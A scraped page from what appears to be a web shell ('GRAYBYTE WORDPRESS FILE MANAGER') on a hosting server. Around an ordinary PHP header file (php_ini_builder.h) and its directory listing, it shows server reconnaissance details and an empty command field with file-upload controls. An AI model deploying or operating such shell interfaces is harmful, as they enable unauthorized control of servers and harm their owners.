GRAYBYTE WORDPRESS FILE MANAGER3691

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/php83/usr/include/php/main/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/php83/usr/include/php/main//php_ini_builder.h
/*
   +----------------------------------------------------------------------+
   | Copyright (c) The PHP Group                                          |
   +----------------------------------------------------------------------+
   | This source file is subject to version 3.01 of the PHP license,      |
   | that is bundled with this package in the file LICENSE, and is        |
   | available through the world-wide-web at the following url:           |
   | https://www.php.net/license/3_01.txt                                 |
   | If you did not receive a copy of the PHP license and are unable to   |
   | obtain it through the world-wide-web, please send a note to          |
   | license@php.net so we can mail you a copy immediately.               |
   +----------------------------------------------------------------------+
   | Authors: Max Kellermann <max.kellermann@ionos.com>                   |
   +----------------------------------------------------------------------+
*/

#ifndef PHP_INI_BUILDER_H
#define PHP_INI_BUILDER_H

#include "php.h"

/**
 * A class which helps with constructing INI entries from the command
 * line.
 */
struct php_ini_builder {
	char *value;
	size_t length;
};

BEGIN_EXTERN_C()

static inline void php_ini_builder_init(struct php_ini_builder *b)
{
	b->value = NULL;
	b->length = 0;
}

static inline void php_ini_builder_deinit(struct php_ini_builder *b)
{
	free(b->value);
}

/**
 * Null-terminate the buffer and return it.
 */
static inline char *php_ini_builder_finish(struct php_ini_builder *b)
{
	if (b->value != NULL) {
		/* null-terminate the string */
		b->value[b->length] = '\0';
	}

	return b->value;
}

/**
 * Make room for more data.
 *
 * @param delta the number of bytes to be appended
 */
static inline void php_ini_builder_realloc(struct php_ini_builder *b, size_t delta)
{
	/* reserve enough space for the null terminator */
	b->value = realloc(b->value, b->length + delta + 1);
}

/**
 * Prepend a string.
 *
 * @param src the source string
 * @param length the size of the source string
 */
PHPAPI void php_ini_builder_prepend(struct php_ini_builder *b, const char *src, size_t length);

#define php_ini_builder_prepend_literal(b, l) php_ini_builder_prepend(b, l, strlen(l))

/**
 * Append an unquoted name/value pair.
 */
PHPAPI void php_ini_builder_unquoted(struct php_ini_builder *b, const char *name, size_t name_length, const char *value, size_t value_length);

/**
 * Append a quoted name/value pair.
 */
PHPAPI void php_ini_builder_quoted(struct php_ini_builder *b, const char *name, size_t name_length, const char *value, size_t value_length);

/**
 * Parse an INI entry from the command-line option "--define".
 */
PHPAPI void php_ini_builder_define(struct php_ini_builder *b, const char *arg);

END_EXTERN_C()

#endif

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 06 2025 15:34:02
root / linksafe
0755
streams
--
June 26 2025 08:38:31
root / linksafe
0755
SAPI.h
10.021 KB
June 06 2025 15:34:11
root / linksafe
0644
build-defs.h
7.64 KB
June 06 2025 15:34:12
root / linksafe
0644
fastcgi.h
4.777 KB
June 06 2025 15:34:11
root / linksafe
0644
fopen_wrappers.h
2.203 KB
June 06 2025 15:34:11
root / linksafe
0644
http_status_codes.h
2.83 KB
June 06 2025 15:34:11
root / linksafe
0644
main_arginfo.h
6.198 KB
June 06 2025 15:34:11
root / linksafe
0644
php.h
11.711 KB
June 06 2025 15:34:11
root / linksafe
0644
php_compat.h
19.658 KB
June 06 2025 15:34:11
root / linksafe
0644
php_config.h
49.989 KB
June 06 2025 15:34:14
root / linksafe
0644
php_content_types.h
1.307 KB
June 06 2025 15:34:11
root / linksafe
0644
php_getopt.h
1.632 KB
June 06 2025 15:34:11
root / linksafe
0644
php_globals.h
3.886 KB
June 06 2025 15:34:11
root / linksafe
0644
php_ini.h
3.528 KB
June 06 2025 15:34:11
root / linksafe
0644
php_ini_builder.h
2.732 KB
June 06 2025 15:34:12
root / linksafe
0644
php_main.h
2.877 KB
June 06 2025 15:34:12
root / linksafe
0644
php_memory_streams.h
3.232 KB
June 06 2025 15:34:12
root / linksafe
0644
php_network.h
10.464 KB
June 06 2025 15:34:12
root / linksafe
0644
php_odbc_utils.h
1.268 KB
June 06 2025 15:34:12
root / linksafe
0644
php_open_temporary_file.h
1.914 KB
June 06 2025 15:34:12
root / linksafe
0644
php_output.h
8.782 KB
June 06 2025 15:34:12
root / linksafe
0644
php_reentrancy.h
3.155 KB
June 06 2025 15:34:12
root / linksafe
0644
php_scandir.h
1.675 KB
June 06 2025 15:34:12
root / linksafe
0644
php_streams.h
29.989 KB
June 06 2025 15:34:12
root / linksafe
0644
php_syslog.h
1.539 KB
June 06 2025 15:34:12
root / linksafe
0644
php_ticks.h
1.345 KB
June 06 2025 15:34:12
root / linksafe
0644
php_variables.h
2.071 KB
June 06 2025 15:34:12
root / linksafe
0644
php_version.h
0.26 KB
June 06 2025 15:34:12
root / linksafe
0644
rfc1867.h
3.651 KB
June 06 2025 15:34:12
root / linksafe
0644
snprintf.h
5.597 KB
June 06 2025 15:34:12
root / linksafe
0644
spprintf.h
1.466 KB
June 06 2025 15:34:12
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF